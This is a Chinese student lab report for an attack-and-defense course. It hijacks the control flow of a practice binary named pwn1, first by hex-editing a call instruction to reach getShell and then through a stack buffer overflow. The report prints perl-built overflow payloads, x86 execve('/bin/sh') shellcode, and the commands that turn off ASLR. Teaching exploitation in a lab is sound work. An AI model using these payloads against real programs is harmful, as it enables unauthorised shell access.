20222328 2024-2025-1 《网络与系统攻防技术》实验一实验报告

一、实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实验环境
系统:WMware Workstation 17 pro,Kali
三、实验内容与实验要求
1.掌握反汇编与十六进制编程器
2.能正确修改机器指令改变程序执行流程
3.能正确构造payload进行bof攻击
四、实验过程与分析
1.直接修改程序机器指令,改变程序执行流程
第一步我先修改为自己的名字

然后将pwn1改为pwn20222328,并运行文件./pwn20222328

然后根据反汇编指令objdump -d pwn20222328来找到main、getshell和foo

通过main函数可以知道,call指令可以跳转到foo函数。根据实验要求,我们需要修改流程,直接跳转到getshell文件函数。这里就需要修改主函数,所以就要将call 8048491中的地址修改为getShell的地址804847d
通过计算得出,需要将0xd7ffffff修改为0xc3ffffff
用vi pwn20222328,打开后发现为乱码

这时候按住esc并输入:%!xxd来进入16进制编码里,然后继续按住esc,输入/e8 d7来快速找到地址

按i进行修改,把d7改成c3,输入:%!Xxd -r后再使用:wq保存并退出
之后再次用objdump -d pwn20222328来查看,这时我们发现已经修改成功了

./pwn20222328来运行结果

成功获得shell
2.通过构造输入参数,造成BOF攻击,改变程序执行流
再次上传一个pwn1并将其修改为pwn20222328-1
这次我们发现系统内并没有gdb,所以就需要使用sudo apt update和sudo apt install gdb来下载安装gdb
随后输入gdb pwn20222328-1来调试程序输入字符串1111111122222222333333334444444412345678,输入命令 info r查看eip的值

发现输入的1234为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222211-2,就会运行getShell把1234换成getShell的地址0x0804847d
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
随后使用(cat input;cat) | ./pwn20222211-2将input中的字符串作为可执行文件的输入进pwn20222328-1中

成功获得getshell
4. 注入Shellcode并执行
首先我们需要下载安装execstack

随后再利用以下指令修改设置
execstack -s pwn20222211-3
execstack -q pwn20222211-3
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入,并将他放入input_shellcode文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的内容输入:
(cat input_shellcode; cat) | ./pwn20222328-2

在他运行的时候再打开一个新窗口,输入ps -ef | grep pwn20222211-3,查看文件的进程以及进程号

可以看出,23310是pwn文件的进程号,随后在新终端使用gdb来获取foo函数的位置
输入attach 23310和disassemble foo来反编译foo函数并分析

输入break *0x080484ae,在ret设置断点并继续分析
在新终端按c,并且在之前的终端按enter

输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfdc;使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址

现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffcfe0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xe0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20222328-2,将input_shellcode的输入内容作为输入

得到了shell

posted @ 2024-10-03 21:11  纸莺天宇  阅读(32)  评论(0)    收藏  举报